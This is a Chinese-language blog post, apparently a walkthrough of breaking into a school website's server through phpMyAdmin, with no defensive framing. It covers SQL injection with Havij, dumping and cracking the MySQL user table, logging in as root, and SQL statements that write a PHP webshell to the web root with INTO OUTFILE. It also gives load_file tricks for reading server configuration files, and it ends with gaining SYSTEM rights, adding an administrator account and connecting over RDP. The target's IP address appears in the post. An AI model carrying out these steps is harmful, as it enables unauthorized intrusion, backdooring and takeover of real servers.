phpmyadmin入侵实例

今天我们内部群的朋友在群里测试下面这站,我把这过程记录保存,方便以后查阅:

http://xx.xx.211.14/school/pub/index_detail.php?fr=&flag=&id=1824

在浏览器中打开,看看有没有注入:

http://xxxxxxxxx/school/pub/index_detail.php?fr=&flag=&id=1824’



在网址后加个’号就爆出物理路径C:\xammpp\htdocs\xxxx\pub了,呵呵,而且还知道它是xampp搭配的(xampp是本地PHP+MySQL 调试环境软件)。再继续and 1=1 and 1=2结果没有注入,用啊D跑了一下没结果。不过我们知道它用的是mysql,那我们就用Havij高级SQL注入工具来看看(SQL的用这个工具,很好很强大):




呵呵,有搞头,这里看看服务器的一些信息。我们来点“Tables”来猜表:           
呵呵,数据库名出来了,点“Get DBs”来猜其它库,如果不出意外能猜出很多重要的表哦:



呵呵,看到没跑出来了“phpmyadmin”数据库名,说明如果我们得到了root密码就能连接它的phpmyadmin后台,来执行SQL查询语句来插入导出一句话。并且这里还猜出了“mysql”数据库名来了, 我们来爆爆它里面的内容了,看看能不能得到root的账号密码,点击:“Get Tables”



看到没,猜出“user”表了,我们接着来看看user表里的字段,选中user点击“Get Columns”

 




猜出了user表下的字段,找找有用的,比如“Password”“User”这两个一看就知道是好东西了,呵呵,现在我们来看看这最后一步能不能读出它的root账号密码。选中Password”“User”两个字段,点击“Get Data”



呵呵,成功读出了账号密码,但是貌似root的密码没读出来,莫非是空密码,只有一个“pma”的账号有密码,不知道这个Pma的账户是什么权限了,先不管,把密码拿到www.cmd5.com这类网站去破解,运气好的话就能破出来了,我们这里已经破出了来。然后我们来试试用这个账号密码来连接phpmyadmin。输入:http://xx.xx.211.14/phpmyadmin

我们用得到的账户密码来连接,看能不能成功。郁闷,不能连接又回到了重新输入用户名密码这里了,看来这个用户名pma是不能成功连接phpmyadmin的,这怎么办呢,这里我就想到了用root这个用户名来试试这个密码,看能不能连接。

 

呵呵,人品大爆发,成功进入phpmyadmin后台。



 

接下来,重点来了。我们前面已经爆出了它的物理路径C:\xammpp\htdocs\了,如果我们没爆出不知道它的路径怎么办呢?这里我们就用以下路径来一个一个试来爆它的路径:

http://url/phpmyadmin/themes/darkblue_orange/layout.inc.php

     http://url/phpmyadmin/libraries/select_lang.lib.php

     http://url/phpmyadmin/libraries/export/xls.php

     http://url/phpmyadmin/themes/darkblue_orange/layout.inc.php

爆出路径如下:



当然如果爆不出路径,我们可以通过读取iis配置文件或者apache、nginx的配置文件来找路径。

select load_file('lujing');  
//如果是root权限可以读取IIS配置文件,路径最好用acs码如:select load_file(char(68,58));
C:\WINDOWS\system32\inetsrv\MetaBase.xml的acs码是:
char(67,58,92,87,73,78,68,79,87,83,92,115,121,115,116,101,109,51,50,92,105,110,101,116,115,114,118,92,77,101,116,97,66,97,115,101,46,120,109,108)

这里爆出的服务器是xamp,它比较特别,phpmyadmin正好跟htdocs放在同一个目录下。如果是其它的服务器的话应该直接爆出如前面爆出的路径:C:\xammpp\htdocs\school\pub。

得到了路径,我们就来利用phpmyadmin中的SQL查询语句来插入、导出一句话:(注意:查询语句中的标点符号要用英文输入)

①、Create TABLE a (cmd text NOT NULL);     

意思是:新建表a 内容是一个cmd的文本文件,内容不能为空。



②、Insert INTO a (cmd) VALUES(‘’);  

向表a中的cmd文本文件里添加一句话内容“



 

③、select cmd from a into outfile ‘C:/xampp/htdocs/help.php’;  

导出表a中的cmd的内容到C:/xampp/htdocs/help.php的里面



这样我们就成功得到这个一句话的webshell,它的路径是http://www.x.com/help.php,我们这里就是http://140.130.211.14/help.php

我们用菜刀连接试试,连接密码为“a”



成功连接,呵呵。连接成功后我们来删除刚才我们建立的表a。

④、Drop TABLE IF EXISTS a;        //删除表a



一般通过phpmyadmin能拿到的webshell,说明数据库用户权限比较大,可以通过数据库来提权。我们这里通过菜刀的CMD看到我们是具有system的权限的,这个是最高权限了。那我们就直接用CMD添加一个管理员,然后再3389连接。

你可能感兴趣的:(网络安全)